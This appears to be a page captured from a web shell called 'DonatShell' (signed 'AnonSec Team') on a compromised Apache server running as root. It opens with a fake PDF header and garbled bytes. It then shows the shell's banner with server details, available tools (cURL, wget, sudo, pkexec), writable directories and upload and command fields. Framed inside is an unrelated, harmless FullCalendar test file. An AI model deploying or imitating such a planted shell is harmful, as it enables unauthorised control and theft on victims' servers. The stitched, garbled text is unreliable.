%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/view-render/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/view-render/slotDuration.js
import * as TimeGridRenderUtils from './TimeGridRenderUtils'


describe('slotDuration', function() {
  pushOptions({
    defaultDate: '2017-07-17',
    defaultView: 'timeGridDay',
    scrollTime: 0,
    slotLabelFormat: { hour: '2-digit', minute: '2-digit', hour12: false }
  })

  describe('when only major slots', function() {
    pushOptions({
      slotDuration: '01:00',
      slotLabelInterval: '01:00'
    })

    describe('when in alignment with minTime', function() {
      pushOptions({
        minTime: '00:00',
        maxTime: '03:00'
      })
      it('render slots correctly', function() {
        initCalendar()
        expect(TimeGridRenderUtils.getTimeAxisInfo()).toEqual([
          { text: '00:00', isMajor: true },
          { text: '01:00', isMajor: true },
          { text: '02:00', isMajor: true }
        ])
      })
    })

    describe('when out of alignment with minTime', function() {
      pushOptions({
        minTime: '00:20',
        maxTime: '03:20'
      })
      it('render slots correctly', function() {
        initCalendar()
        expect(TimeGridRenderUtils.getTimeAxisInfo()).toEqual([
          { text: '00:20', isMajor: true },
          { text: '01:20', isMajor: true },
          { text: '02:20', isMajor: true }
        ])
      })
    })
  })

  describe('when major and minor slots', function() {
    pushOptions({
      slotDuration: '00:30',
      slotLabelInterval: '01:00'
    })

    describe('when in alignment with minTime', function() {
      pushOptions({
        minTime: '00:00',
        maxTime: '03:00'
      })
      it('render slots correctly', function() {
        initCalendar()
        expect(TimeGridRenderUtils.getTimeAxisInfo()).toEqual([
          { text: '00:00', isMajor: true },
          { text: '', isMajor: false },
          { text: '01:00', isMajor: true },
          { text: '', isMajor: false },
          { text: '02:00', isMajor: true },
          { text: '', isMajor: false }
        ])
      })
    })

    describe('when out of alignment with minTime', function() {
      pushOptions({
        minTime: '00:20',
        maxTime: '03:20'
      })
      it('render slots correctly', function() {
        initCalendar()
        expect(TimeGridRenderUtils.getTimeAxisInfo()).toEqual([
          { text: '00:20', isMajor: true },
          { text: '', isMajor: false },
          { text: '01:20', isMajor: true },
          { text: '', isMajor: false },
          { text: '02:20', isMajor: true },
          { text: '', isMajor: false }
        ])
      })
    })
  })

})

Anon7 - 2022
AnonSec Team